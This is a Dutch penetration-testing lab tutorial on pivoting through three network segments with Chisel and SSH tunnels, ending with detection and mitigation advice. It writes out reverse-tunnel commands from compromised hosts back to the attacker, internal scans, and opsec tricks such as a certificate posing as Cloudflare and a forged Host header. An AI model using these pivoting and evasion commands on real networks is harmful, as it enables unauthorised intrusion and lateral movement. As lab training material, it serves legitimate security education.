Chisel Tunneling Lab
Chisel is een van de meest veelzijdige tools voor het opzetten van tunnels tijdens penetratietests. Het tunnelt TCP-verkeer over HTTP/WebSocket-verbindingen, waardoor het door de meeste firewalls en proxies heen komt. In deze tutorial bouwen we een lab met drie netwerksegmenten en oefenen we met forward tunnels, reverse tunnels, SOCKS proxies en double pivoting.
Niveau: Expert
Let op — Tunneling-technieken mogen uitsluitend worden toegepast binnen geautoriseerde penetratietests. Gebruik deze kennis verantwoord.
Vereisten
- VirtualBox of VMware met minimaal 16 GB RAM op de host
- Kali Linux als aanvalsmachine
- Drie Linux VMs (Ubuntu Server of Debian) als doelmachines
- Chisel binary voor Linux en Windows
- Proxychains4 op de aanvalsmachine
- Basiskennis van netwerken, TCP/IP en firewalls
- Incompetent Bastard (IB) draaiend op je aanvalsmachine
- Ervaring met pivoting-concepten
Lab Architectuur
Drie netwerksegmenten
INTERNET
|
[Firewall]
|
========== NETWERK 1 (DMZ): 10.10.10.0/24 ==========
|
[PIVOT-1] [Kali Aanvaller]
10.10.10.100 10.10.10.50
172.16.1.100
|
========== NETWERK 2 (INTERN): 172.16.1.0/24 ==========
|
[PIVOT-2] [WEBSERVER]
172.16.1.200 172.16.1.150
192.168.50.200
|
========== NETWERK 3 (RESTRICTED): 192.168.50.0/24 ==========
|
[DATABASE]
192.168.50.100
VM Configuratie
| VM | Adapters | IP-adressen | Rol |
|---|---|---|---|
| Kali | Host-Only 1 | 10.10.10.50 | Aanvalsmachine |
| PIVOT-1 | Host-Only 1 + Host-Only 2 | 10.10.10.100, 172.16.1.100 | Eerste pivot |
| WEBSERVER | Host-Only 2 | 172.16.1.150 | Interne webserver |
| PIVOT-2 | Host-Only 2 + Host-Only 3 | 172.16.1.200, 192.168.50.200 | Tweede pivot |
| DATABASE | Host-Only 3 | 192.168.50.100 | Database server |
VirtualBox-netwerken configureren
# Maak drie Host-Only netwerken aan
VBoxManage hostonlynet add --name=DMZ --netmask=255.255.255.0 --lower-ip=10.10.10.1 --upper-ip=10.10.10.254
VBoxManage hostonlynet add --name=Internal --netmask=255.255.255.0 --lower-ip=172.16.1.1 --upper-ip=172.16.1.254
VBoxManage hostonlynet add --name=Restricted --netmask=255.255.255.0 --lower-ip=192.168.50.1 --upper-ip=192.168.50.254Chisel Architectuur
Hoe Chisel werkt
Chisel is een client-server tool die TCP-tunnels opzet over HTTP/WebSocket:
- Server: Luistert op een poort en accepteert inkomende client-verbindingen
- Client: Maakt verbinding met de server en definieert de tunnelconfiguratie
- Alle communicatie gaat over HTTP(S), wat het onopvallend maakt
Tunneltypen
Forward tunnel: CLIENT_PORT:REMOTE_HOST:REMOTE_PORT
(client luistert lokaal, forwardt naar remote)
Reverse tunnel: R:SERVER_PORT:REMOTE_HOST:REMOTE_PORT
(server luistert, forwardt naar host bereikbaar vanuit client)
Reverse SOCKS: R:socks
(server opent SOCKS proxy, traffic gaat via client)
Chisel installeren
# Op Kali (aanvalsmachine)
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz
gunzip chisel_linux_amd64.gz
chmod +x chisel_linux_amd64
sudo mv chisel_linux_amd64 /usr/local/bin/chisel
# Voor Windows-doelen
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_windows_amd64.gz
gunzip chisel_windows_amd64.gzIB — Gebruik de commando’s get_chisel
(Windows) en get_chisel_linux (Linux) om Chisel snel te
downloaden naar je doelsysteem via de IB HTTP-server.
Lab VMs Opzetten
Services installeren op doelmachines
# Op PIVOT-1 (10.10.10.100 / 172.16.1.100):
sudo apt install openssh-server nginx -y
# SSH draait op poort 22, Nginx op poort 80
# Op WEBSERVER (172.16.1.150):
sudo apt install apache2 php -y
echo "<?php phpinfo(); ?>" | sudo tee /var/www/html/info.php
# Op PIVOT-2 (172.16.1.200 / 192.168.50.200):
sudo apt install openssh-server -y
# Op DATABASE (192.168.50.100):
sudo apt install mysql-server -y
sudo mysql -e "CREATE USER 'dbadmin'@'%' IDENTIFIED BY 'SecretDB!';"
sudo mysql -e "GRANT ALL PRIVILEGES ON *.* TO 'dbadmin'@'%';"
sudo sed -i 's/bind-address.*/bind-address = 0.0.0.0/' /etc/mysql/mysql.conf.d/mysqld.cnf
sudo systemctl restart mysqlIP-routing uitschakelen
Zorg dat de pivot-machines NIET automatisch routen:
# Op PIVOT-1 en PIVOT-2:
echo 0 | sudo tee /proc/sys/net/ipv4/ip_forwardScenario 1: Reverse SOCKS Proxy (Single Pivot)
Het meestgebruikte scenario: je hebt toegang tot PIVOT-1 en wilt het interne netwerk scannen.
Stap 1: Chisel server starten op aanvalsmachine
# Op Kali (10.10.10.50):
chisel server --reverse --port 8080De --reverse vlag is essentieel: het staat de client toe
om reverse tunnels aan te vragen.
Stap 2: Chisel client starten op PIVOT-1
# Op PIVOT-1 (10.10.10.100):
./chisel client 10.10.10.50:8080 R:socksDit opent een SOCKS5 proxy op de aanvalsmachine (standaard poort 1080).
Stap 3: Proxychains configureren
# Op Kali, bewerk /etc/proxychains4.conf:
# Verwijder of comment bestaande proxy entries
# Voeg onderaan toe:
# [ProxyList]
# socks5 127.0.0.1 1080Stap 4: Het interne netwerk verkennen
# Scan het interne netwerk via proxychains
proxychains nmap -sT -Pn -p 22,80,443,3306,445,3389 172.16.1.0/24
# Curl naar de interne webserver
proxychains curl http://172.16.1.150/info.php
# CrackMapExec via de tunnel
proxychains crackmapexec smb 172.16.1.0/24IB — Het commando net_chisel_tunnel in
de IB command library bevat de volledige syntax voor zowel server als
client, inclusief SOCKS proxy, port forwards en multi-tunnel
configuraties.
Belangrijk: proxychains beperkingen
# WERKT: TCP connect scan
proxychains nmap -sT -Pn target
# WERKT NIET: SYN scan (vereist raw sockets)
# proxychains nmap -sS target # Dit faalt!
# WERKT NIET: ICMP/ping
# proxychains ping target # Dit faalt!Scenario 2: Reverse Port Forward (Specifieke Dienst)
Soms wil je een specifieke poort forwarden in plaats van een volledige SOCKS proxy.
MySQL forwarden
# Op Kali: server starten
chisel server --reverse --port 8080
# Op PIVOT-1: forward MySQL van intern naar aanvaller
./chisel client 10.10.10.50:8080 R:3306:172.16.1.150:3306
# Nu bereikbaar op Kali:
mysql -h 127.0.0.1 -P 3306 -u dbadmin -pMeerdere poorten tegelijk
# Forward meerdere services in een commando
./chisel client 10.10.10.50:8080 \
R:8080:172.16.1.150:80 \
R:3306:172.16.1.150:3306 \
R:2222:172.16.1.200:22Scenario 3: Double Pivot (Twee Hops)
Het complexste scenario: je moet door twee netwerksegmenten heen om de database te bereiken.
Architectuur
Kali ----[chisel]----> PIVOT-1 ----[chisel]----> PIVOT-2 ----> DATABASE
10.10.10.50 10.10.10.100 172.16.1.200 192.168.50.100
172.16.1.100 192.168.50.200
Stap 1: Eerste tunnel (Kali naar PIVOT-1)
# Op Kali: start chisel server
chisel server --reverse --port 8080
# Op PIVOT-1: maak reverse SOCKS proxy
./chisel client 10.10.10.50:8080 R:1080:socksStap 2: Tweede chisel server op PIVOT-1
# Op PIVOT-1: start een tweede chisel server (voor de tweede hop)
./chisel server --reverse --port 9090Stap 3: Tweede tunnel (PIVOT-1 naar PIVOT-2)
# Op PIVOT-2: verbind met chisel server op PIVOT-1
./chisel client 172.16.1.100:9090 R:1081:socksStap 4: Proxychains met dubbele proxy
# Bewerk /etc/proxychains4.conf op Kali:
# Gebruik "strict_chain" voor double pivot
# [ProxyList]
# socks5 127.0.0.1 1080
# socks5 127.0.0.1 1081Maar wacht: poort 1081 draait op PIVOT-1, niet op Kali. We moeten dit forwarden.
Stap 3b: Forward de tweede SOCKS proxy naar Kali
# Pas de eerste tunnel aan om ook poort 1081 te forwarden
# Op PIVOT-1:
./chisel client 10.10.10.50:8080 R:1080:socks R:1081:127.0.0.1:1081Of gebruik een alternatieve aanpak met SSH:
# Op Kali: forward poort 1081 van PIVOT-1 naar lokaal
proxychains ssh -N -L 1081:127.0.0.1:1081 user@172.16.1.100Stap 5: Verifieer dubbele pivot
# Bereik de database via twee hops
proxychains mysql -h 192.168.50.100 -u dbadmin -p
# Scan het restricted netwerk
proxychains nmap -sT -Pn -p 3306,22,80 192.168.50.0/24Scenario 4: Chisel met Authenticatie en TLS
In een red team-scenario wil je de tunnel beveiligen en camoufleren.
Met authenticatie
# Server met authenticatie
chisel server --reverse --port 443 --auth admin:Geheim123
# Client met authenticatie
./chisel client --auth admin:Geheim123 10.10.10.50:443 R:socksMet TLS (HTTPS)
# Genereer self-signed certificaat
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes \
-subj "/CN=cdn.cloudflare.com"
# Server met TLS
chisel server --reverse --port 443 --tls-key key.pem --tls-cert cert.pem
# Client via HTTPS (skip verify voor self-signed)
./chisel client --tls-skip-verify https://10.10.10.50:443 R:socksOpsec-overwegingen
# Gebruik een keepalive om de verbinding stabiel te houden
./chisel client --keepalive 30s 10.10.10.50:8080 R:socks
# Gebruik een custom host header (domain fronting-achtig)
./chisel client --header "Host: legit-domain.com" 10.10.10.50:443 R:socksScenario 5: Combinatie met SSH Tunnels
Soms is Chisel niet beschikbaar of wil je SSH combineren met Chisel.
SSH SOCKS proxy als alternatief
# Dynamische SOCKS proxy via SSH
ssh -N -D 127.0.0.1:1080 user@10.10.10.100
# SSH port forward voor specifieke dienst
ssh -N -L 3306:172.16.1.150:3306 user@10.10.10.100
# SSH double hop met ProxyJump
ssh -J user@10.10.10.100 user@172.16.1.200IB — Het commando tunnel_ssh_socks
bevat de volledige SSH tunneling syntax, inclusief dynamic port
forwarding, local forwards, remote forwards en multi-hop
configuraties.
Chisel via SSH tunnel
# Eerst SSH tunnel naar PIVOT-1
ssh -N -L 9090:172.16.1.200:9090 user@10.10.10.100 &
# Dan chisel client naar PIVOT-2 via de SSH tunnel
chisel server --reverse --port 9090
# Op PIVOT-2: chisel client 172.16.1.100:9090 R:socks
# De SOCKS proxy is nu bereikbaar via de SSH forwardTroubleshooting
Veel voorkomende problemen
# Probleem: "connection refused"
# Oplossing: check of de chisel server draait en de poort open is
ss -tlnp | grep chisel
sudo iptables -L -n
# Probleem: proxychains timeout
# Oplossing: verhoog timeout in proxychains.conf
# tcp_read_time_out 30000
# tcp_connect_time_out 20000
# Probleem: chisel client disconnects
# Oplossing: gebruik --keepalive
./chisel client --keepalive 25s 10.10.10.50:8080 R:socks
# Probleem: DNS werkt niet via proxychains
# Oplossing: gebruik proxy_dns in proxychains.conf
# proxy_dns
# Of specificeer IP-adressen in plaats van hostnamenPerformance-tips
# Gebruik TCP connect scans in plaats van SYN scans
proxychains nmap -sT -Pn --top-ports 100 TARGET
# Beperk parallelle verbindingen
proxychains nmap -sT -Pn --max-parallelism 5 TARGET
# Gebruik snelle tools via de tunnel
proxychains crackmapexec smb 172.16.1.0/24 --gen-relay-list relay.txtDetectie en Mitigatie
Detectie-indicatoren
- Ongebruikelijke HTTP/WebSocket-verbindingen naar externe hosts
- Langdurige HTTP-sessies met consistent dataverkeer
- Processen die luisteren op onverwachte poorten
- Chisel-binary op het bestandssysteem (hash-detectie)
Mitigatie
- Egress filtering — Beperk uitgaand verkeer tot bekende bestemmingen
- SSL/TLS inspectie — Inspecteer versleuteld verkeer op tunneling
- Application whitelisting — Voorkom uitvoering van onbekende binaries
- Network segmentation — Beperk laterale beweging met strikte firewallregels
- Monitoring — Detecteer anomaal netwerkverkeer met IDS/IPS
Samenvatting
Chisel is een onmisbare tool voor pivoting tijdens penetratietests. De belangrijkste punten uit deze tutorial:
- Reverse SOCKS proxy is het meestgebruikte scenario: server op aanvaller, client op doelwit
- Port forwards zijn nuttig wanneer je specifieke services wilt bereiken
- Double pivoting vereist zorgvuldige planning van tunnelarchitectuur
- TLS en authenticatie zijn essentieel voor opsec in red team-scenario’s
- Proxychains is de interface tussen je tools en de SOCKS proxy
- Combineer Chisel met SSH voor maximale flexibiliteit
- Test altijd je tunnelconfiguratie voordat je aanvallen uitvoert
IB — Alle tunnel-gerelateerde commando’s staan in de
IB command library: net_chisel_tunnel voor Chisel,
tunnel_ssh_socks voor SSH, tunnel_plink voor
Windows, en tunnel_netsh voor netsh port proxying. Gebruik
man_chisel voor de volledige Chisel-referentie.